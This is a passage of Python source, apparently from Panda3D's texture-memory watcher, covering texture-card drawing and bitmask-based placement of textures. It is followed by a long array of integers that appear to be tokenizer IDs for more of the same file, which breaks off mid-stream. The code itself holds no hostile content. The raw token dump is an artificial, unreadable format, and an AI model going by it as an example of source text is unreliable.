clearCard(self, tmw): if self.root: self.root.detachNode() self.root = None for r in self.regions: tmw.mw.removeRegion(r) self.regions = [] def makeCard(self, tmw): self.clearCard(tmw) root = NodePath('root') # A matte to frame the texture and indicate its status. matte = root.attachNewNode('matte', 0) # A backing to put behind the card. backing = root.attachNewNode('backing', 10) # A card to display the texture. card = root.attachNewNode('card', 20) # A wire frame to ring the matte and separate the card from # its neighbors. frame = root.attachNewNode('frame', 30) for p in self.placements: l, r, b, t = p.p cx = (l + r) * 0.5 cy = (b + t) * 0.5 shrinkMat = Mat4.translateMat(-cx, 0, -cy) * Mat4.scaleMat(0.9) * Mat4.translateMat(cx, 0, cy) cm = CardMaker('backing') cm.setFrame(l, r, b, t) cm.setColor(0.1, 0.3, 0.5, 1) c = backing.attachNewNode(cm.generate()) c.setMat(shrinkMat) cm = CardMaker('card') cm.setFrame(l, r, b, t) if p.rotated: cm.setUvRange((0, 1), (0, 0), (1, 0), (1, 1)) c = card.attachNewNode(cm.generate()) c.setMat(shrinkMat) cm = CardMaker('matte') cm.setFrame(l, r, b, t) matte.attachNewNode(cm.generate()) ls = LineSegs('frame') ls.setColor(0, 0, 0, 1) ls.moveTo(l, 0, b) ls.drawTo(r, 0, b) ls.drawTo(r, 0, t) ls.drawTo(l, 0, t) ls.drawTo(l, 0, b) f1 = frame.attachNewNode(ls.create()) f2 = f1.copyTo(frame) f2.setMat(shrinkMat) #matte.flattenStrong() self.matte = matte #backing.flattenStrong() self.backing = backing card.setTransparency(TransparencyAttrib.MAlpha) card.setTexture(self.tex) #card.flattenStrong() self.card = card #frame.flattenStrong() self.frame = frame root.reparentTo(tmw.canvas) self.root = root # Also, make one or more clickable MouseWatcherRegions. assert self.regions == [] for pi in range(len(self.placements)): p = self.placements[pi] r = MouseWatcherRegion('%s:%s' % (self.key, pi), *p.p) tmw.mw.addRegion(r) self.regions.append(r) class TexPlacement: def __init__(self, l, r, b, t): self.p = (l, r, b, t) self.area = (r - l) * (t - b) self.rotated = False self.overflowed = 0 def intersects(self, other): """ Returns True if the placements intersect, False otherwise. """ ml, mr, mb, mt = self.p tl, tr, tb, tt = other.p return (tl < mr and tr > ml and tb < mt and tt > mb) def setBitmasks(self, bitmasks): """ Sets all of the appropriate bits to indicate this region is taken. """ l, r, b, t = self.p mask = BitArray.range(l, r - l) for yi in range(b, t): assert (bitmasks[yi] & mask).isZero() bitmasks[yi] |= mask def clearBitmasks(self, bitmasks): """ Clears all of the appropriate bits to indicate this region is available. """ l, r, b, t = self.p mask = ~BitArray.range(l, r - l) for yi in range(b, t): assert (bitmasks[yi] | mask).isAllOn() bitmasks[yi] &= mask def hasOverlap(self, bitmasks): """ Returns true if there is an overlap with this region and any other region, false otherwise. """ l, r, b, t = self.p mask = BitArray.range(l, r - l) for yi in range(b, t): if not (bitmasks[yi] & mask).isZero(): return True return False
[ 1, 515, 282, 392, 562, 29889, 29925, 5863, 2111, 2540, 1053, 334, 13, 3166, 1513, 29889, 4294, 3188, 29889, 17392, 2061, 1053, 8797, 2061, 13, 5215, 5844, 13, 5215, 3509, 13, 13, 1990, 8490, 11442, 24709, 261, 29898, 17392, 2061, 1125, 13, 1678, 9995, 13, 1678, 910, 770, 10017, 263, 5004, 18533, 3474, 393, 14423, 385, 13, 1678, 16845, 310, 278, 1857, 18459, 3370, 29892, 6445, 278, 1426, 1973, 13, 1678, 393, 526, 20201, 322, 29914, 272, 6136, 29892, 322, 385, 16845, 310, 278, 13, 1678, 5253, 310, 18459, 3370, 11233, 287, 491, 1269, 697, 29889, 29871, 739, 29915, 29879, 9146, 408, 263, 13, 1678, 5407, 5780, 304, 1371, 8161, 988, 18459, 3370, 338, 1641, 10398, 29889, 13, 13, 1678, 8512, 372, 11524, 278, 1426, 1973, 1998, 1474, 297, 263, 29871, 29906, 29899, 29881, 2913, 29892, 372, 13, 1678, 1838, 29915, 29873, 2869, 505, 738, 2969, 920, 1426, 1973, 526, 4824, 1711, 12341, 13, 1678, 714, 297, 3370, 489, 4187, 372, 756, 304, 6568, 963, 714, 10431, 29892, 577, 372, 3732, 13, 1678, 1554, 701, 29889, 29871, 739, 23025, 337, 2749, 6916, 278, 18459, 2479, 746, 13, 1678, 372, 23880, 372, 4225, 304, 29892, 1728, 4880, 304, 825, 278, 18533, 5881, 338, 13, 1678, 2869, 2599, 29889, 29871, 910, 5780, 508, 29915, 29873, 367, 1304, 304, 5925, 18459, 13, 1678, 3370, 9376, 362, 5626, 29889, 13, 1678, 9995, 13, 13, 1678, 8084, 3220, 353, 29871, 29896, 13, 13, 1678, 16034, 7011, 353, 29871, 29906, 29900, 29871, 396, 297, 17036, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 330, 5311, 353, 6213, 29892, 4046, 353, 6213, 1125, 13, 4706, 8797, 2061, 17255, 2344, 12035, 1311, 29897, 13, 13, 4706, 396, 3824, 29892, 591, 29915, 645, 817, 263, 1024, 304, 20498, 1598, 278, 1203, 29889, 13, 4706, 1583, 29889, 978, 353, 525, 4776, 29899, 6954, 29995, 29879, 29915, 1273, 313, 26887, 11442, 24709, 261, 29889, 9190, 3220, 29897, 13, 4706, 8490, 11442, 24709, 261, 29889, 9190, 3220, 4619, 29871, 29896, 13, 13, 4706, 1583, 29889, 14941, 287, 3373, 353, 7700, 13, 4706, 1583, 29889, 3332, 353, 29871, 29896, 29889, 29900, 13, 13, 4706, 396, 450, 1426, 1973, 8745, 491, 278, 8490, 11442, 24709, 261, 526, 4870, 287, 13, 4706, 396, 9727, 6275, 964, 278, 10508, 29892, 607, 338, 278, 1776, 519, 5120, 13, 4706, 396, 393, 11524, 18459, 3370, 24082, 29889, 29871, 450, 4870, 292, 13, 4706, 396, 24628, 756, 694, 8220, 304, 3935, 5912, 2629, 18459, 13, 4706, 396, 3370, 313, 4716, 591, 505, 694, 982, 304, 8161, 467, 13, 13, 4706, 396, 450, 7604, 2159, 310, 1269, 18459, 338, 10434, 297, 18618, 304, 13, 4706, 396, 278, 3001, 1353, 310, 6262, 310, 18459, 3370, 278, 18459, 13, 4706, 396, 1136, 9351, 29889, 29871, 910, 7805, 286, 666, 10339, 29892, 322, 15303, 363, 18459, 13, 4706, 396, 24221, 29889, 29871, 5741, 1474, 29892, 263, 18459, 411, 286, 666, 10339, 674, 367, 13, 4706, 396, 9875, 491, 263, 16701, 29871, 29941, 29941, 29995, 7200, 1135, 385, 13, 4706, 396, 7126, 29899, 29879, 1891, 18459, 1728, 286, 666, 10339, 29889, 29871, 4587, 3236, 29892, 445, 13, 4706, 396, 2748, 1449, 756, 2217, 24638, 304, 278, 982, 278, 1426, 1973, 526, 13, 4706, 396, 2869, 21050, 297, 3370, 29936, 541, 372, 19700, 304, 2367, 263, 7604, 13, 4706, 396, 4221, 362, 310, 920, 1568, 18459, 3370, 1269, 18459, 1136, 9351, 29889, 13, 13, 4706, 396, 1670, 338, 385, 11472, 4046, 29892, 1583, 29889, 13400, 29892, 607, 1122, 505, 1063, 13, 4706, 396, 4502, 304, 278, 5823, 29892, 470, 607, 1122, 367, 9727, 6275, 13, 4706, 396, 10087, 29889, 29871, 910, 11524, 278, 9146, 4046, 304, 18459, 13, 4706, 396, 3370, 3667, 2133, 29889, 29871, 1334, 313, 4738, 5794, 29897, 5251, 393, 278, 13, 4706, 396, 18533, 5881, 674, 2334, 263, 4922, 18459, 4870, 292, 13, 4706, 396, 5687, 29892, 577, 393, 408, 1472, 408, 1749, 3001, 3667, 2133, 5277, 13, 4706, 396, 1583, 29889, 13400, 29892, 372, 1818, 6216, 2629, 18459, 3370, 29889, 29871, 1334, 2755, 13, 4706, 396, 445, 1998, 1474, 491, 946, 3663, 3598, 4870, 292, 1426, 1973, 2629, 278, 13, 4706, 396, 1583, 29889, 13400, 2908, 577, 393, 896, 526, 22688, 304, 6216, 29892, 408, 1472, 13, 4706, 396, 408, 591, 437, 451, 13461, 278, 3001, 3667, 2133, 29889, 29871, 910, 1122, 13, 4706, 396, 6041, 2099, 1320, 441, 292, 263, 18459, 2908, 470, 1584, 16679, 13, 4706, 396, 372, 964, 2999, 12785, 304, 679, 372, 304, 6216, 29892, 9436, 13, 4706, 396, 26797, 1848, 5281, 6514, 278, 18533, 7156, 338, 2869, 13, 4706, 396, 2599, 29889, 13, 13, 4706, 396, 2422, 635, 29892, 1426, 1973, 526, 4870, 287, 964, 385, 6043, 6856, 310, 13, 4706, 396, 660, 29899, 348, 1169, 29889, 29871, 660, 29899, 348, 1169, 526, 297, 18618, 304, 18459, 6262, 29889, 13, 4706, 396, 26321, 29892, 1269, 660, 29899, 5441, 16161, 304, 263, 2908, 310, 13, 4706, 396, 1583, 29889, 12150, 675, 334, 1583, 29889, 12150, 675, 18459, 6262, 297, 278, 3992, 545, 13, 4706, 396, 18914, 3474, 29889, 29871, 450, 660, 29899, 348, 1169, 526, 278, 19087, 4870, 519, 5190, 29936, 13, 4706, 396, 10231, 1583, 29889, 12150, 675, 5480, 26830, 278, 7604, 13, 4706, 396, 4870, 292, 10104, 6590, 368, 29889, 29871, 660, 29899, 348, 1169, 1407, 20928, 13, 4706, 396, 3928, 304, 17036, 373, 10525, 313, 19562, 1122, 367, 7200, 29892, 6041, 13, 4706, 396, 2050, 2197, 7200, 29892, 1135, 29871, 29896, 15526, 29892, 8679, 373, 278, 3474, 13, 4706, 396, 2159, 467, 13, 13, 13, 4706, 396, 910, 1353, 17645, 278, 2159, 310, 263, 660, 29899, 5441, 6862, 29892, 297, 18459, 13, 4706, 396, 6262, 29889, 29871, 739, 338, 6336, 10365, 287, 297, 1634, 547, 580, 2729, 373, 13, 4706, 396, 278, 3474, 2159, 322, 278, 18459, 3370, 2159, 29889, 13, 4706, 1583, 29889, 12150, 675, 353, 29871, 29896, 13, 13, 4706, 396, 910, 338, 278, 7472, 1353, 310, 2586, 13168, 4206, 313, 2541, 262, 13, 4706, 396, 1583, 29889, 13400, 29897, 304, 23632, 363, 4870, 292, 29889, 29871, 910, 11761, 278, 13, 4706, 396, 995, 9859, 304, 1583, 29889, 12150, 675, 297, 1634, 547, 2141, 13, 4706, 1583, 29889, 3317, 7011, 353, 2967, 29889, 2917, 29889, 2577, 2928, 877, 4776, 29899, 6954, 29899, 3317, 29899, 3545, 742, 29871, 29941, 29900, 29900, 29897, 13, 13, 4706, 396, 450, 3001, 1353, 310, 18459, 6262, 5702, 287, 29892, 3704, 11969, 29889, 13, 4706, 1583, 29889, 7827, 3505, 353, 29871, 29900, 13, 13, 4706, 396, 450, 3001, 1353, 310, 18459, 6262, 7180, 29892, 451, 3704, 13, 4706, 396, 11969, 313, 5747, 338, 29892, 2629, 1583, 29889, 13400, 467, 13, 4706, 1583, 29889, 13974, 1133, 3505, 353, 29871, 29900, 13, 13, 4706, 396, 450, 3001, 1353, 310, 660, 29899, 348, 1169, 7180, 29892, 451, 3704, 11969, 29889, 13, 4706, 1583, 29889, 13974, 1133, 29984, 3505, 353, 29871, 29900, 13, 13, 4706, 396, 960, 694, 402, 26016, 338, 6790, 29892, 671, 278, 1667, 402, 26016, 29889, 13, 4706, 565, 330, 5311, 338, 6213, 29901, 13, 9651, 330, 5311, 353, 2967, 29889, 5080, 29889, 657, 29954, 5311, 580, 13, 4706, 25342, 338, 8758, 29898, 3174, 29887, 29892, 29247, 6466, 1125, 13, 9651, 396, 960, 591, 892, 4502, 263, 3474, 29892, 671, 393, 3474, 29915, 29879, 402, 26016, 29889, 13, 9651, 330, 5311, 353, 330, 5311, 29889, 657, 29954, 5311, 580, 13, 13, 4706, 1583, 29889, 3174, 29887, 353, 330, 5311, 13, 13, 4706, 396, 2567, 1722, 263, 716, 3474, 925, 304, 4050, 278, 1962, 29889, 13, 4706, 2159, 353, 12782, 16174, 2928, 877, 4776, 29899, 6954, 29899, 5080, 29899, 2311, 742, 525, 29941, 29900, 29900, 29871, 29941, 29900, 29900, 1495, 13, 4706, 3978, 353, 12782, 16174, 2928, 877, 4776, 29899, 6954, 29899, 5080, 29899, 12574, 742, 525, 29896, 29900, 29900, 29871, 29896, 29900, 29900, 1495, 13, 4706, 1583, 29889, 5080, 3505, 353, 313, 2311, 29961, 29900, 1402, 2159, 29961, 29896, 2314, 13, 4706, 1024, 353, 525, 21898, 18914, 29915, 13, 4706, 17761, 353, 18379, 11857, 580, 13, 4706, 17761, 29889, 842, 23182, 29898, 12574, 29961, 29900, 1402, 3978, 29961, 29896, 2314, 13, 4706, 17761, 29889, 842, 3505, 10456, 1311, 29889, 5080, 3505, 29897, 13, 4706, 17761, 29889, 842, 7030, 29898, 978, 29897, 13, 4706, 17761, 29889, 842, 13658, 10525, 29898, 8824, 29897, 13, 4706, 17761, 29889, 842, 25263, 687, 272, 630, 29898, 8824, 29897, 13, 13, 4706, 285, 29890, 11030, 353, 12218, 7701, 11857, 29889, 657, 4592, 580, 13, 4706, 13449, 353, 29247, 12197, 412, 29889, 29933, 4198, 29890, 20457, 27636, 891, 29247, 12197, 412, 29889, 28062, 1123, 1548, 5907, 13, 13, 4706, 1583, 29889, 17760, 353, 6213, 13, 13, 4706, 396, 3789, 445, 304, 21577, 4990, 565, 366, 29915, 276, 2734, 373, 263, 4933, 411, 13, 4706, 396, 9078, 18459, 3370, 29889, 29871, 2193, 982, 366, 2113, 29915, 29873, 752, 2650, 363, 13, 4706, 396, 18459, 3370, 411, 278, 1667, 9088, 29889, 13, 4706, 3883, 1170, 353, 2967, 29889, 2917, 29889, 2577, 1231, 877, 4776, 29899, 6954, 29899, 17760, 742, 27255, 13, 4706, 565, 3883, 1170, 29901, 13, 9651, 1583, 29889, 17760, 353, 2967, 29889, 5675, 7355, 12197, 412, 29898, 5453, 1170, 29897, 13, 13, 4706, 396, 960, 278, 13877, 14282, 8465, 363, 777, 2769, 29892, 591, 29915, 645, 671, 278, 13, 4706, 396, 4943, 14282, 29889, 13, 4706, 565, 451, 1583, 29889, 17760, 29901, 13, 9651, 1583, 29889, 17760, 353, 2967, 29889, 17760, 13, 13, 4706, 1583, 29889, 5080, 353, 2967, 29889, 6420, 12412, 29889, 5675, 6466, 29898, 1311, 29889, 17760, 29892, 1024, 29892, 29871, 29900, 29892, 285, 29890, 11030, 29892, 13, 462, 462, 462, 29871, 17761, 29892, 13449, 29897, 13, 4706, 4974, 1583, 29889, 5080, 13, 13, 4706, 396, 1334, 881, 4050, 472, 278, 1095, 310, 278, 3515, 29889, 13, 4706, 1583, 29889, 5080, 29889, 842, 13685, 29898, 29896, 29900, 29900, 29900, 29900, 29897, 13, 13, 4706, 396, 1334, 1016, 29915, 29873, 817, 304, 2821, 278, 2927, 6835, 29892, 1951, 591, 29915, 645, 367, 13, 4706, 396, 27523, 372, 411, 263, 18459, 29889, 29871, 1334, 884, 1016, 29915, 29873, 817, 304, 2821, 278, 13, 4706, 396, 10809, 6835, 29892, 1951, 591, 2113, 29915, 29873, 367, 773, 372, 29889, 13, 4706, 1583, 29889, 5080, 29889, 842, 18759, 3306, 9966, 29898, 8824, 29897, 13, 4706, 1583, 29889, 5080, 29889, 842, 18759, 8498, 386, 9966, 29898, 8824, 29897, 13, 13, 4706, 1741, 1170, 353, 14210, 29879, 29899, 7165, 29915, 1273, 313, 1311, 29889, 978, 29897, 13, 4706, 1583, 29889, 5080, 29889, 842, 5907, 2624, 29898, 3696, 1170, 29897, 13, 4706, 1583, 29889, 16044, 29898, 3696, 1170, 29892, 1583, 29889, 7165, 2624, 29897, 13, 13, 4706, 396, 2391, 264, 363, 445, 1741, 577, 591, 508, 2767, 7128, 2486, 29892, 565, 13, 4706, 396, 5019, 3620, 278, 3474, 29915, 29879, 18533, 3370, 4046, 29892, 13, 4706, 1583, 29889, 16044, 877, 6420, 29918, 14834, 29918, 13400, 29918, 15033, 742, 13, 462, 1678, 1583, 29889, 6420, 16015, 24445, 7590, 29897, 13, 13, 4706, 396, 1334, 29915, 645, 817, 263, 9495, 1203, 304, 679, 9495, 4959, 29889, 13, 4706, 1583, 29889, 15769, 353, 2967, 29889, 1272, 10303, 29889, 14930, 4373, 4247, 29898, 14346, 2855, 2558, 3377, 29898, 1311, 29889, 5080, 29892, 29871, 29900, 29892, 14210, 29879, 29899, 15769, 29915, 1273, 313, 1311, 29889, 978, 4961, 13, 4706, 289, 29873, 353, 11025, 1349, 307, 556, 877, 29995, 29879, 29899, 386, 307, 556, 29915, 1273, 313, 1311, 29889, 978, 876, 13, 4706, 1583, 29889, 15769, 29889, 14930, 4373, 4247, 29898, 3116, 29897, 13, 4706, 289, 29873, 29889, 842, 23095, 877, 3092, 19222, 29879, 29899, 29915, 1273, 313, 1311, 29889, 978, 876, 13, 4706, 1583, 29889, 16044, 877, 3092, 19222, 29879, 29899, 15769, 29896, 29915, 1273, 313, 1311, 29889, 978, 511, 1583, 29889, 15769, 4164, 29897, 13, 13, 4706, 1583, 29889, 14669, 28707, 580, 13, 4706, 1583, 29889, 14669, 21960, 580, 13, 13, 4706, 396, 2567, 1369, 11415, 701, 278, 3935, 6433, 297, 278, 9088, 29889, 13, 13, 4706, 1583, 29889, 7042, 353, 6213, 13, 4706, 1583, 29889, 4622, 26887, 9182, 2558, 353, 29871, 29900, 13, 4706, 1583, 29889, 20426, 369, 353, 6213, 13, 4706, 1583, 29889, 275, 23167, 353, 6213, 13, 4706, 1583, 29889, 275, 324, 630, 353, 6213, 13, 4706, 1583, 29889, 484, 5779, 5612, 547, 353, 7700, 13, 13, 4706, 396, 1128, 13672, 881, 278, 18459, 3370, 3474, 1423, 363, 13, 4706, 396, 2106, 3620, 29973, 13, 4706, 2767, 12506, 353, 2967, 29889, 2917, 29889, 2577, 11843, 703, 4776, 29899, 6954, 29899, 5504, 29899, 19207, 613, 29871, 29900, 29889, 29945, 29897, 13, 4706, 1583, 29889, 7662, 353, 3414, 29924, 629, 29889, 1867, 4062, 29931, 1008, 29898, 5504, 12506, 29892, 1583, 29889, 5504, 1626, 1973, 29892, 525, 26887, 11442, 24709, 261, 1495, 13, 13, 4706, 1583, 29889, 842, 24445, 29898, 13400, 29897, 13, 13, 1678, 822, 6230, 28707, 29898, 1311, 1125, 13, 4706, 9995, 6760, 1078, 278, 1410, 29875, 3161, 322, 20382, 12286, 29889, 9995, 13, 13, 4706, 1583, 29889, 9482, 29906, 29881, 353, 9071, 2605, 877, 9482, 29906, 29881, 1495, 13, 4706, 1583, 29889, 9482, 29906, 29881, 29889, 842, 8498, 386, 3057, 29898, 8824, 29897, 13, 4706, 1583, 29889, 9482, 29906, 29881, 29889, 842, 8498, 386, 6113, 29898, 8824, 29897, 13, 4706, 1583, 29889, 9482, 29906, 29881, 29889, 842, 13985, 29903, 2618, 29898, 5574, 29897, 13, 4706, 1583, 29889, 9482, 29906, 29881, 29889, 842, 29933, 262, 877, 348, 24582, 742, 29871, 29900, 29897, 13, 13, 4706, 396, 6204, 263, 17440, 18457, 322, 385, 6942, 10656, 29889, 13, 4706, 4192, 353, 1583, 29889, 5080, 29889, 5675, 9323, 18457, 580, 13, 4706, 3949, 353, 24321, 877, 11108, 29906, 29881, 1495, 13, 4706, 1583, 29889, 29880, 575, 353, 23757, 12122, 29931, 575, 580, 13, 4706, 1583, 29889, 29880, 575, 29889, 842, 29940, 799, 29943, 279, 6278, 29896, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29897, 13, 4706, 1583, 29889, 29880, 575, 29889, 842, 3434, 29885, 3505, 29898, 29906, 29892, 29871, 29906, 29897, 13, 4706, 3949, 29889, 842, 29931, 575, 29898, 1311, 29889, 29880, 575, 29897, 13, 13, 4706, 7442, 353, 1583, 29889, 9482, 29906, 29881, 29889, 14930, 4373, 4247, 29898, 11108, 29897, 13, 4706, 4192, 29889, 842, 20717, 29898, 9302, 29897, 13, 13, 4706, 1583, 29889, 294, 1103, 29906, 29881, 353, 1583, 29889, 9482, 29906, 29881, 29889, 14930, 4373, 4247, 877, 294, 1103, 29906, 29881, 1495, 13, 13, 4706, 7477, 353, 9160, 29924, 5790, 877, 4882, 10581, 1495, 13, 4706, 7477, 29889, 842, 3306, 29898, 29900, 29889, 29947, 29945, 29892, 29871, 29900, 29889, 29947, 29945, 29892, 29871, 29900, 29889, 29947, 29945, 29892, 29871, 29896, 29897, 13, 4706, 7477, 29889, 842, 4308, 29898, 29900, 29892, 29871, 29906, 29892, 29871, 29900, 29892, 29871, 29906, 29897, 13, 4706, 1583, 29889, 4882, 10581, 353, 1583, 29889, 9482, 29906, 29881, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3285, 448, 29896, 29897, 13, 4706, 1583, 29889, 4882, 10581, 29889, 842, 9135, 6278, 29896, 29892, 29871, 29900, 29892, 448, 29896, 29897, 13, 13, 4706, 1583, 29889, 4882, 353, 1583, 29889, 294, 1103, 29906, 29881, 29889, 14930, 4373, 4247, 877, 4882, 1495, 13, 4706, 1583, 29889, 4882, 1626, 353, 3992, 4247, 877, 4882, 1626, 1495, 13, 4706, 1583, 29889, 4882, 1626, 29889, 12038, 3306, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 4882, 1626, 25500, 353, 1583, 29889, 4882, 29889, 14930, 4373, 4247, 29898, 1311, 29889, 4882, 1626, 29897, 13, 4706, 1583, 29889, 4882, 1626, 25500, 29889, 842, 17185, 29898, 29896, 29889, 29945, 29897, 13, 13, 4706, 1583, 29889, 2311, 1626, 353, 3992, 4247, 877, 2311, 1626, 1495, 13, 4706, 1583, 29889, 2311, 1626, 29889, 12038, 3306, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 2311, 1626, 29889, 842, 2499, 647, 29898, 1626, 4247, 29889, 1718, 523, 29897, 13, 4706, 1583, 29889, 2311, 1626, 29889, 842, 13200, 2887, 29924, 3930, 29898, 29900, 29889, 29906, 29945, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 448, 29900, 29889, 29906, 29945, 29897, 13, 4706, 1583, 29889, 2311, 1626, 29889, 842, 13200, 3306, 29898, 29900, 29889, 29947, 29945, 29892, 29871, 29900, 29889, 29947, 29945, 29892, 29871, 29900, 29889, 29947, 29945, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 2311, 1626, 25500, 353, 1583, 29889, 4882, 29889, 14930, 4373, 4247, 29898, 1311, 29889, 2311, 1626, 29897, 13, 4706, 1583, 29889, 2311, 1626, 25500, 29889, 842, 17185, 29898, 29896, 29889, 29945, 29897, 13, 13, 1678, 822, 6230, 21960, 29898, 1311, 1125, 13, 4706, 9995, 6760, 1078, 278, 376, 15257, 613, 607, 338, 278, 1423, 261, 3377, 4038, 988, 13, 4706, 18459, 3370, 338, 12341, 714, 29889, 29871, 450, 10508, 756, 967, 1914, 13, 4706, 17440, 18457, 29889, 9995, 13, 13, 4706, 1583, 29889, 15257, 10303, 353, 9071, 2605, 877, 15257, 10303, 1495, 13, 4706, 1583, 29889, 15257, 10303, 29889, 842, 8498, 386, 3057, 29898, 8824, 29897, 13, 4706, 1583, 29889, 15257, 10303, 29889, 842, 8498, 386, 6113, 29898, 8824, 29897, 13, 4706, 1583, 29889, 15257, 10303, 29889, 842, 13985, 29903, 2618, 29898, 5574, 29897, 13, 4706, 1583, 29889, 15257, 10303, 29889, 842, 29933, 262, 877, 348, 24582, 742, 29871, 29900, 29897, 13, 13, 4706, 1583, 29889, 15257, 353, 1583, 29889, 15257, 10303, 29889, 14930, 4373, 4247, 877, 15257, 1495, 13, 13, 4706, 396, 6204, 263, 17440, 18457, 322, 385, 6942, 10656, 29889, 13, 4706, 1583, 29889, 15257, 8353, 353, 1583, 29889, 5080, 29889, 5675, 9323, 18457, 580, 13, 4706, 1583, 29889, 15257, 8353, 29889, 842, 13685, 6278, 29896, 29900, 29897, 13, 4706, 3949, 353, 24321, 877, 11108, 29906, 29881, 1495, 13, 4706, 1583, 29889, 15257, 29931, 575, 353, 23757, 12122, 29931, 575, 580, 13, 4706, 1583, 29889, 15257, 29931, 575, 29889, 842, 29940, 799, 29943, 279, 6278, 29896, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29897, 13, 4706, 3949, 29889, 842, 29931, 575, 29898, 1311, 29889, 15257, 29931, 575, 29897, 13, 13, 4706, 7442, 353, 1583, 29889, 15257, 10303, 29889, 14930, 4373, 4247, 29898, 11108, 29897, 13, 4706, 1583, 29889, 15257, 8353, 29889, 842, 20717, 29898, 9302, 29897, 13, 13, 4706, 396, 6204, 263, 25992, 24709, 261, 577, 591, 508, 16254, 411, 278, 5164, 13, 4706, 396, 1426, 1973, 29889, 13, 4706, 1583, 29889, 29885, 29893, 353, 25992, 24709, 261, 877, 29995, 29879, 29899, 12344, 261, 29915, 1273, 313, 1311, 29889, 978, 876, 13, 4706, 1583, 29889, 29885, 29893, 29889, 842, 9323, 18457, 29898, 1311, 29889, 15257, 8353, 29897, 13, 4706, 286, 1233, 29886, 353, 1583, 29889, 15769, 29889, 14930, 4373, 4247, 29898, 1311, 29889, 29885, 29893, 29897, 13, 13, 4706, 1741, 1170, 353, 14210, 29879, 29899, 5893, 29915, 1273, 313, 1311, 29889, 978, 29897, 13, 4706, 1583, 29889, 29885, 29893, 29889, 842, 10399, 17144, 29898, 3696, 1170, 29897, 13, 4706, 1583, 29889, 16044, 29898, 3696, 1170, 29892, 1583, 29889, 5893, 18457, 29897, 13, 13, 4706, 1741, 1170, 353, 14210, 29879, 29899, 280, 1351, 29915, 1273, 313, 1311, 29889, 978, 29897, 13, 4706, 1583, 29889, 29885, 29893, 29889, 842, 3226, 1351, 17144, 29898, 3696, 1170, 29897, 13, 4706, 1583, 29889, 16044, 29898, 3696, 1170, 29892, 1583, 29889, 280, 1351, 18457, 29897, 13, 13, 4706, 396, 6204, 263, 1423, 261, 3377, 3239, 5881, 363, 278, 10508, 29889, 13, 4706, 282, 353, 349, 29940, 29924, 2940, 29898, 29906, 29892, 29871, 29906, 29892, 29871, 29896, 29897, 13, 4706, 282, 29889, 842, 29954, 764, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29889, 29946, 29900, 29897, 13, 4706, 282, 29889, 842, 29954, 764, 29898, 29896, 29892, 29871, 29896, 29892, 29871, 29900, 29889, 29946, 29900, 29897, 13, 4706, 282, 29889, 842, 29954, 764, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29900, 29889, 29955, 29945, 29897, 13, 4706, 282, 29889, 842, 29954, 764, 29898, 29896, 29892, 29871, 29900, 29892, 29871, 29900, 29889, 29955, 29945, 29897, 13, 13, 4706, 1583, 29889, 3198, 26887, 353, 3992, 545, 877, 3198, 26887, 1495, 13, 4706, 1583, 29889, 3198, 26887, 29889, 1359, 29898, 29886, 29897, 13, 4706, 1583, 29889, 3198, 26887, 29889, 842, 19095, 4572, 29898, 21898, 29889, 7818, 29940, 799, 342, 29897, 13, 13, 4706, 1583, 29889, 15257, 10581, 353, 6213, 13, 13, 4706, 1583, 29889, 5675, 21960, 10581, 580, 13, 13, 1678, 822, 1207, 21960, 10581, 29898, 1311, 1125, 13, 4706, 565, 1583, 29889, 15257, 10581, 29901, 13, 9651, 1583, 29889, 15257, 10581, 29889, 5992, 4247, 580, 13, 13, 4706, 1583, 29889, 15257, 10581, 353, 1583, 29889, 15257, 10303, 29889, 14930, 4373, 4247, 877, 15257, 10581, 742, 448, 29896, 29900, 29900, 29897, 13, 13, 4706, 7477, 353, 9160, 29924, 5790, 877, 7042, 1495, 13, 4706, 7477, 29889, 842, 4308, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 4706, 7477, 29889, 842, 29965, 29894, 6069, 3552, 29900, 29892, 29871, 29900, 511, 313, 29896, 29892, 29871, 29896, 876, 13, 4706, 1583, 29889, 15257, 10581, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 13, 4706, 7477, 29889, 842, 4308, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29896, 29892, 1583, 29889, 3332, 29897, 13, 4706, 7477, 29889, 842, 29965, 29894, 6069, 3552, 29900, 29892, 29871, 29896, 511, 313, 29896, 29892, 1583, 29889, 3332, 876, 13, 4706, 4319, 353, 1583, 29889, 15257, 10581, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 4706, 4319, 29889, 842, 3306, 3552, 29900, 29889, 29947, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29896, 876, 13, 13, 4706, 1583, 29889, 15257, 10581, 29889, 12038, 545, 29898, 1311, 29889, 3198, 26887, 29897, 13, 13, 1678, 822, 731, 24445, 29898, 1311, 29892, 4046, 353, 6213, 1125, 13, 4706, 9995, 1894, 293, 1078, 278, 18459, 3370, 4046, 29889, 29871, 960, 4046, 338, 6213, 470, 13, 4706, 443, 6550, 2164, 29892, 278, 4046, 338, 4586, 515, 278, 402, 26016, 29892, 565, 738, 29936, 470, 727, 13, 4706, 338, 694, 4046, 29889, 9995, 13, 13, 4706, 1583, 17255, 1867, 2697, 24445, 29898, 13400, 29897, 13, 4706, 1583, 29889, 276, 17591, 5907, 580, 13, 13, 1678, 822, 4770, 1867, 2697, 24445, 29898, 1311, 29892, 4046, 1125, 13, 4706, 9995, 512, 1890, 5314, 310, 731, 24445, 2141, 9995, 13, 4706, 1583, 29889, 13400, 353, 4046, 13, 4706, 1583, 29889, 29880, 582, 24445, 353, 7700, 13, 4706, 1583, 29889, 16626, 24445, 353, 7700, 13, 13, 4706, 565, 451, 4046, 29901, 13, 9651, 396, 960, 694, 4046, 471, 6790, 29892, 671, 278, 6790, 18533, 13, 9651, 396, 3370, 4046, 29892, 565, 738, 29889, 13, 9651, 301, 